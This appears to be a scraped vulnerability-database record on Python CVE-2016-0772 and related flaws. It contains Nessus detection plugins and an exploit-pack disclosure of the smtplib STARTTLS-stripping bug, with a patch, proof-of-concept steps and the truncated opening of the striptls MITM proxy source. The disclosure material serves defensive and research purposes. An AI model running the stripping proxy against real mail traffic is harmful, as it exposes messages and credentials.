GLSA-201701-18\n(Python: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Python. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A remote attacker could entice a user to open a specially crafted index\n file using Python’s dumbdbm module, possibly resulting in execution of\n arbitrary code with the privileges of the process.\n A remote attacker could entice a user to process a specially crafted\n input stream using Python’s zipimporter module, possibly allowing\n attackers to cause unspecified impact.\n A man in the middle attacker could strip out the STARTTLS command\n without generating an exception on the Python SMTP client application,\n preventing the establishment of the TLS layer.\n \nWorkaround :\n\n There is no known workaround at this time.", "edition": 24, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2017-01-11T00:00:00", "title": "GLSA-201701-18 : Python: Multiple vulnerabilities", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5636"], "modified": "2017-01-11T00:00:00", "cpe": ["cpe:/o:gentoo:linux", "p-cpe:/a:gentoo:linux:python"], "id": "GENTOO_GLSA-201701-18.NASL", "href": "https://www.tenable.com/plugins/nessus/96399", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Gentoo Linux Security Advisory GLSA 201701-18.\n#\n# The advisory text is Copyright (C) 2001-2017 Gentoo Foundation, Inc.\n# and licensed under the Creative Commons - Attribution / Share Alike \n# license. See http://creativecommons.org/licenses/by-sa/3.0/\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(96399);\n script_version(\"3.4\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\", \"CVE-2016-5636\");\n script_xref(name:\"GLSA\", value:\"201701-18\");\n\n script_name(english:\"GLSA-201701-18 : Python: Multiple vulnerabilities\");\n script_summary(english:\"Checks for updated package(s) in /var/db/pkg\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Gentoo host is missing one or more security-related\npatches.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The remote host is affected by the vulnerability described in GLSA-201701-18\n(Python: Multiple vulnerabilities)\n\n Multiple vulnerabilities have been discovered in Python. Please review\n the CVE identifiers referenced below for details.\n \nImpact :\n\n A remote attacker could entice a user to open a specially crafted index\n file using Python’s dumbdbm module, possibly resulting in execution of\n arbitrary code with the privileges of the process.\n A remote attacker could entice a user to process a specially crafted\n input stream using Python’s zipimporter module, possibly allowing\n attackers to cause unspecified impact.\n A man in the middle attacker could strip out the STARTTLS command\n without generating an exception on the Python SMTP client application,\n preventing the establishment of the TLS layer.\n \nWorkaround :\n\n There is no known workaround at this time.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://security.gentoo.org/glsa/201701-18\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\n\"All Python 2 users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-lang/python-2.7.12:2.7'\n All Python 3 users should upgrade to the latest version:\n # emerge --sync\n # emerge --ask --oneshot --verbose '>=dev-lang/python-3.4.5:3.4'\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:gentoo:linux:python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:gentoo:linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/01/10\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/01/11\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2017-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Gentoo Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/Gentoo/release\", \"Host/Gentoo/qpkg-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"qpkg.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/Gentoo/release\")) audit(AUDIT_OS_NOT, \"Gentoo\");\nif (!get_kb_item(\"Host/Gentoo/qpkg-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\nflag = 0;\n\nif (qpkg_check(package:\"dev-lang/python\", unaffected:make_list(\"ge 2.7.12\", \"ge 3.4.5\"), vulnerable:make_list(\"lt 3.4.5\"))) flag++;\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = qpkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"Python\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-12T10:14:41", "description": "Security fixes for CVE-2016-0772 and CVE-2016-5699\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 6.5, "vector": "AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"}, "published": "2016-07-15T00:00:00", "title": "Fedora 22 : pypy3 (2016-b046b56518)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5699"], "modified": "2016-07-15T00:00:00", "cpe": ["p-cpe:/a:fedoraproject:fedora:pypy3", "cpe:/o:fedoraproject:fedora:22"], "id": "FEDORA_2016-B046B56518.NASL", "href": "https://www.tenable.com/plugins/nessus/92281", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-b046b56518.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92281);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\", \"CVE-2016-5699\");\n script_xref(name:\"FEDORA\", value:\"2016-b046b56518\");\n\n script_name(english:\"Fedora 22 : pypy3 (2016-b046b56518)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fixes for CVE-2016-0772 and CVE-2016-5699\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-b046b56518\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected pypy3 package.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:pypy3\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:22\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/07/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^22([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 22\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC22\", reference:\"pypy3-2.4.0-3.fc22\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_WARNING,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"pypy3\");\n}\n", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2021-01-12T10:14:55", "description": "Security fix for CVE-2016-0772\n\n----\n\nAdded patch for fixing possible integer overflow and heap corruption\nin zipimporter.get_data()\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.", "edition": 18, "cvss3": {"score": 9.8, "vector": "AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}, "published": "2016-07-15T00:00:00", "title": "Fedora 22 : python (2016-e37f15a5f4)", "type": "nessus", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-0772", "CVE-2016-5636"], "modified": "2016-07-15T00:00:00", "cpe": ["cpe:/o:fedoraproject:fedora:22", "p-cpe:/a:fedoraproject:fedora:python"], "id": "FEDORA_2016-E37F15A5F4.NASL", "href": "https://www.tenable.com/plugins/nessus/92295", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Fedora Security Advisory FEDORA-2016-e37f15a5f4.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(92295);\n script_version(\"2.7\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/11\");\n\n script_cve_id(\"CVE-2016-0772\", \"CVE-2016-5636\");\n script_xref(name:\"FEDORA\", value:\"2016-e37f15a5f4\");\n\n script_name(english:\"Fedora 22 : python (2016-e37f15a5f4)\");\n script_summary(english:\"Checks rpm output for the updated package.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Fedora host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Security fix for CVE-2016-0772\n\n----\n\nAdded patch for fixing possible integer overflow and heap corruption\nin zipimporter.get_data()\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the Fedora update system website.\nTenable has attempted to automatically clean and format it as much as\npossible without introducing additional issues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bodhi.fedoraproject.org/updates/FEDORA-2016-e37f15a5f4\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected python package.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:fedoraproject:fedora:python\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:fedoraproject:fedora:22\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/07/11\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/07/15\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"Fedora Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Fedora\" >!< release) audit(AUDIT_OS_NOT, \"Fedora\");\nos_ver = pregmatch(pattern: \"Fedora.*release ([0-9]+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Fedora\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^22([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Fedora 22\", \"Fedora \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Fedora\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"FC22\", reference:\"python-2.7.10-10.fc22\")) flag++;\n\n\nif (flag)\n{\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get()\n );\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"python\");\n}\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "exploitpack": [{"lastseen": "2020-04-01T19:04:44", "description": "\nPython smtplib 2.7.11 3.4.4 3.5.1 - Man In The Middle StartTLS Stripping", "edition": 1, "published": "2016-07-03T00:00:00", "title": "Python smtplib 2.7.11 3.4.4 3.5.1 - Man In The Middle StartTLS Stripping", "type": "exploitpack", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-03T00:00:00", "id": "EXPLOITPACK:9C529D1C084FC5AFEA7C8A0D0E5A989A", "href": "", "sourceData": "VuNote\n============\n\n\tAuthor:\t\t<github.com/tintinweb>\n\tVersion: \t0.2\n\tDate: \t\tNov 25th, 2015\n\t\n\tTag:\t\tpython smtplib starttls stripping (mitm)\n\nOverview\n--------\n\n\tName:\t\t\tpython \n\tVendor:\t\t\tpython software foundation\n\tReferences:\t\t* https://www.python.org/ [1]\n\t\n\tVersion:\t\t2.7.11, 3.4.4, 3.5.1\n\tLatest Version:\t2.7.11, 3.4.4, 3.5.1 [2]\n\tOther Versions:\t2.2 [3] (~14 years ago) <= affected <= 2.7.11\n\t\t\t\t\t3.0 [3] (~7 years ago) <= affected <= 3.4.4\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3.5.1\n\tPlatform(s):\tcross\n\tTechnology:\t\tc/python\n\n\tVuln Classes:\tSelection of Less-Secure Algorithm During Negotiation (CWE-757)\n\tOrigin:\t\t\tremote/mitm\n\tMin. Privs.:\t-\n\n\tCVE:\t\t\tCVE-2016-0772\n\n\nDescription\n---------\n\nquote wikipedia [4]\n\n>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.\n\n\nSummary \n-------\n\npython smtplib does not seem to raise an exception when the remote \nend (smtp server) is capable of negotiating starttls (as seen in the \nresponse to ehlo) but fails to respond with 220 (ok) to an explicit \ncall of `SMTP.starttls()`. This may allow a malicious mitm to perform a \nstarttls stripping attack if the client code does not explicitly check \nthe response code for starttls, which is rarely done as one might \nexpect that it raises an exception when starttls negotiation fails \n(like when calling starttls on a server that does not support it or \nwhen it fails to negotiate tls due to an ssl exception/cipher \nmismatch/auth fail).\n\nQuoting the PSRT with an extended analysis\n\n> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.\n\nChecking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`\n\nPoC see [6]\npatch attached.\n\nDetails\n------\n\nThe vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and \nfails to raise an exception if `resp!=220`.\n\nThe documentation [7] suggests that `starttls()` either encrypts all communication\nor throws an exception if it was not able to negotiate tls.\n\n\tSMTP.starttls([keyfile[, certfile]])\n\tPut the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.\n\t\n\tIf keyfile and certfile are provided, these are passed to the socket module\ufffds ssl() function.\n\t\n\tIf there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.\n\t\n\tChanged in version 2.6.\n\t\n\tSMTPHeloError\n\tThe server didn\ufffdt reply properly to the HELO greeting.\n\tSMTPException\n\tThe server does not support the STARTTLS extension.\n\tChanged in version 2.6.\n\t\n\tRuntimeError\n\tSSL/TLS support is not available to your Python interpreter.\n\t\n\nCode `lib/smtplib.py`:\n\nInline annotations are prefixed with `//#!`\n\n\t def starttls(self, keyfile=None, certfile=None):\n\t \"\"\"Puts the connection to the SMTP server into TLS mode.\n\t If there has been no previous EHLO or HELO command this session, this\n\t method tries ESMTP EHLO first.\n\t If the server supports TLS, this will encrypt the rest of the SMTP\n\t session. If you provide the keyfile and certfile parameters,\n\t the identity of the SMTP server and client can be checked. This,\n\t however, depends on whether the socket module really checks the\n\t certificates.\n\t This method may raise the following exceptions:\n\t SMTPHeloError The server didn't reply properly to\n\t the helo greeting.\n\t \"\"\"\n\t self.ehlo_or_helo_if_needed()\n\t if not self.has_extn(\"starttls\"):\n\t raise SMTPException(\"STARTTLS extension not supported by server.\")\n\t (resp, reply) = self.docmd(\"STARTTLS\")\n\t if resp == 220:\t\t\t\t\t\t\t\t\t\t\t\t\t\t//#! with a server not responding 220 it wont even try to negotiate tls\n\t if not _have_ssl:\t\t\t\t\t\t\t\t\t\t\t\t//#! silently stays unencrypted\n\t raise RuntimeError(\"No SSL support included in this Python\")\n\t self.sock = ssl.wrap_socket(self.sock, keyfile, certfile)\n\t self.file = SSLFakeFile(self.sock)\n\t # RFC 3207:\n\t # The client MUST discard any knowledge obtained from\n\t # the server, such as the list of SMTP service extensions,\n\t # which was not obtained from the TLS negotiation itself.\n\t self.helo_resp = None\n\t self.ehlo_resp = None\n\t self.esmtp_features = {}\n\t self.does_esmtp = 0\n\t return (resp, reply)\t\t\t\t\t\t\t\t\t\t\t\t//#! to actually detect this a client would have to manually check resp==220\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//#! or that the socket was turned into an SSLSock object\n\nProof of Concept\n----------------\n\n1. start `striptls.py` proxy\n\n\t\t#> python striptls/striptls.py -l 0.0.0.0:9999 -r remote.mailserver.tld:25 -x SMTP.StripWithInvalidResponseCode\n\t\t\n\t\t - INFO - <Proxy 0x1f04910 listen=('0.0.0.0', 9999) target=('remote.mailserver.tld', 25)> ready.\n\t\t - DEBUG - * added test (port:25 , proto: SMTP): <class __main__.StripWithInvalidResponseCode at 0x020F85E0>\n\t\t - INFO - <RewriteDispatcher vectors={25: set([<class __main__.StripWithInvalidResponseCode at 0x020F85E0>])}>\n\n2. send mail using `smtplib` (starttls)\n\n\t\timport smtplib\n\t\tserver = smtplib.SMTP('localhost', port=9999)\n\t\tserver.set_debuglevel(1)\n\t\tserver.ehlo()\n\t\tprint server.esmtp_features\n\t\tserver.starttls()\n\t\tserver.sendmail(\"a@b.com\", \"b@a.com\", \"From: a@b.com\\r\\nTo: b@a.com\\r\\n\\r\\n\")\n\t\tserver.quit()\n\n3. watch `striptls.py` fake the server response with `resp=200` instead of `resp=220`, not forwarding the message to the server. This effectively strips starttls. `smtplib` keeps sending in plaintext with no indication to the client code that starttls negotiation actually failed.\n\n\t\t - DEBUG - <ProtocolDetect 0x1f25530 protocol_id=PROTO_SMTP len_history=0> - protocol detected (target port)\n\t\t - INFO - <Session 0x1f0ea50> client ('127.0.0.1', 59687) has connected\n\t\t - INFO - <Session 0x1f0ea50> connecting to target ('remote.mailserver.tld', 25)\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '220 mailserver.tld (msrv002) Nemesis ESMTP Service ready\\r\\n'\n\t\t - DEBUG - <RewriteDispatcher - changed mangle: __main__.StripWithInvalidResponseCode new: True>\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'ehlo [192.168.139.1]\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250-gmx.com Hello [192.168.139.1] [x.x.x.x]\\r\\n250-SIZE 3\t1457280\\r\\n250-AUTH LOGIN PLAIN\\r\\n250 STARTTLS\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'STARTTLS\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server][mangled] '200 STRIPTLS\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server][mangled] None\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'mail FROM:<a@b.com> size=10\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '530 Authentication required\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] => [server] 'rset\\r\\n'\n\t\t - DEBUG - <Session 0x1f0ea50> [client] <= [server] '250 OK\\r\\n'\n\t\t - WARNING - <Session 0x1f0ea50> terminated.\n\nPatch\n-------\n\n* raise an exception if the server replies with an unexpected return-code to an explicit call for `smtplib.starttls()`.\n\t\n\t\t#https://github.com/python/cpython <master> diff --git a/Lib/smtplib.py b/Lib/smtplib.py index 4756973..dfbf5f9 100755\n\t\t--- a/Lib/smtplib.py\n\t\t+++ b/Lib/smtplib.py\n\t\t@@ -773,6 +773,11 @@ class SMTP:\n\t\t self.ehlo_resp = None\n\t\t self.esmtp_features = {}\n\t\t self.does_esmtp = 0\n\t\t+ else:\n\t\t+ # RFC 3207:\n\t\t+ # 501 Syntax error (no parameters allowed)\n\t\t+ # 454 TLS not available due to temporary reason\n\t\t+ raise SMTPResponseException(resp, reply)\n\t\t return (resp, reply)\n\t\t\n\t\t def sendmail(self, from_addr, to_addrs, msg, mail_options=[],\n\nNotes\n-----\n\nVendor response: see [8,9,10]\n\nTimeline:\n\t\n\t11/25/2015\tcontact psrt; provided details, PoC, proposed patch\n\t12/01/2016\tresponse, initial analysis\n\t01/29/2016\trequest ETA, bugref\n\t02/01/2016\tpsrt assigned CVE-2016-0772\n\t02/12/2016\tresponse: will be addressed in upcoming 2.7, 3.5\n\t02/13/2016 request ETA; response: no exact date\n\t03/29/2016\trequest ETA; response: generic bounce message\n\t05/12/2016 request ETA; no response\n\t05/27/2016 request ETA; response: no exact date\n\t06/12/2016 request ETA;\n\t06/14/2016\tresponse: ETA ~ June 26th\n\t06/14/2016 vendor announcement [9]\n\nReferences\n---------\n\n\t[1] https://www.python.org/\n\t[2] https://www.python.org/downloads/\n\t[3] https://github.com/python/cpython/blob/2.7/Lib/smtplib.py\n\t[4] https://en.wikipedia.org/wiki/Python_(programming_language)\n\t[5] https://docs.python.org/2/library/smtplib.html#smtplib.SMTP.starttls\n\t[6] https://github.com/tintinweb/striptls\n\t[7] https://docs.python.org/2/library/smtplib.html\n\t[8] https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-0772\n\t[9] http://www.openwall.com/lists/oss-security/2016/06/14/9\n\t[10] https://access.redhat.com/security/cve/cve-2016-0772\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n#! /usr/bin/env python\n# -*- coding: UTF-8 -*-\n# Author : <github.com/tintinweb>\n# see: https://github.com/tintinweb/striptls\n# pip install striptls\n#\n'''\n inbound outbound\n[inbound_peer]<------------>[listen:proxy]<------------->[outbound_peer/target]\n'''\nimport sys\nimport os\nimport logging\nimport socket\nimport select\nimport ssl\nimport time\nimport re\n\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s - %(levelname)-8s - %(message)s')\nlogger = logging.getLogger(__name__)\n\nclass SessionTerminatedException(Exception):pass\nclass ProtocolViolationException(Exception):pass\n\nclass TcpSockBuff(object):\n ''' Wrapped Tcp Socket with access to last sent/received data '''\n def __init__(self, sock, peer=None):\n self.socket = None\n self.socket_ssl = None\n self.recvbuf = ''\n self.sndbuf = ''\n self.peer = peer\n self._init(sock)\n \n def _init(self, sock):\n self.socket = sock\n \n def connect(self, target=None):\n target = target or self.peer\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n return self.socket.connect(target)\n \n def accept(self):\n return self.socket.accept()\n \n def recv(self, buflen=8*1024, *args, **kwargs):\n if self.socket_ssl:\n chunks = []\n chunk = True\n data_pending = buflen\n while chunk and data_pending:\n chunk = self.socket_ssl.read(data_pending)\n chunks.append(chunk)\n data_pending = self.socket_ssl.pending()\n self.recvbuf = ''.join(chunks)\n else:\n self.recvbuf = self.socket.recv(buflen, *args, **kwargs)\n return self.recvbuf\n \n def recv_blocked(self, buflen=8*1024, timeout=None, *args, **kwargs):\n force_first_loop_iteration = True\n end = time.time()+timeout if timeout else 0\n while force_first_loop_iteration or (not timeout or time.time()<end):\n # force one recv otherwise we might not even try to read if timeout is too narrow\n try:\n return self.recv(buflen=buflen, *args, **kwargs)\n except ssl.SSLWantReadError:\n pass\n force_first_loop_iteration = False\n \n def send(self, data, retransmit_delay=0.1):\n if self.socket_ssl:\n last_exception = None\n for _ in xrange(3):\n try:\n self.socket_ssl.write(data)\n last_exception = None\n break\n except ssl.SSLWantWriteError,swwe:\n logger.warning(\"TCPSockBuff: ssl.sock not yet ready, retransmit (%d) in %f seconds: %s\"%(_,retransmit_delay,repr(swwe)))\n last_exception = swwe\n time.sleep(retransmit_delay)\n if last_exception:\n raise last_exception\n else:\n self.socket.send(data)\n self.sndbuf = data\n \n def sendall(self, data):\n if self.socket_ssl:\n self.send(data)\n else:\n self.socket.sendall(data)\n self.sndbuf = data\n \n def ssl_wrap_socket(self, *args, **kwargs):\n if len(args)>=1:\n args[1] = self.socket\n if 'sock' in kwargs:\n kwargs['sock'] = self.socket\n if not args and not kwargs.get('sock'):\n kwargs['sock'] = self.socket\n self.socket_ssl = ssl.wrap_socket(*args, **kwargs)\n self.socket_ssl.setblocking(0) # nonblocking for select\n \n def ssl_wrap_socket_with_context(self, ctx, *args, **kwargs):\n if len(args)>=1:\n args[1] = self.socket\n if 'sock' in kwargs:\n kwargs['sock'] = self.socket\n if not args and not kwargs.get('sock'):\n kwargs['sock'] = self.socket\n self.socket_ssl = ctx.wrap_socket(*args, **kwargs)\n self.socket_ssl.setblocking(0) # nonblocking for select\n \nclass ProtocolDetect(object):\n PROTO_SMTP = 25\n PROTO_XMPP = 5222\n PROTO_IMAP = 143\n 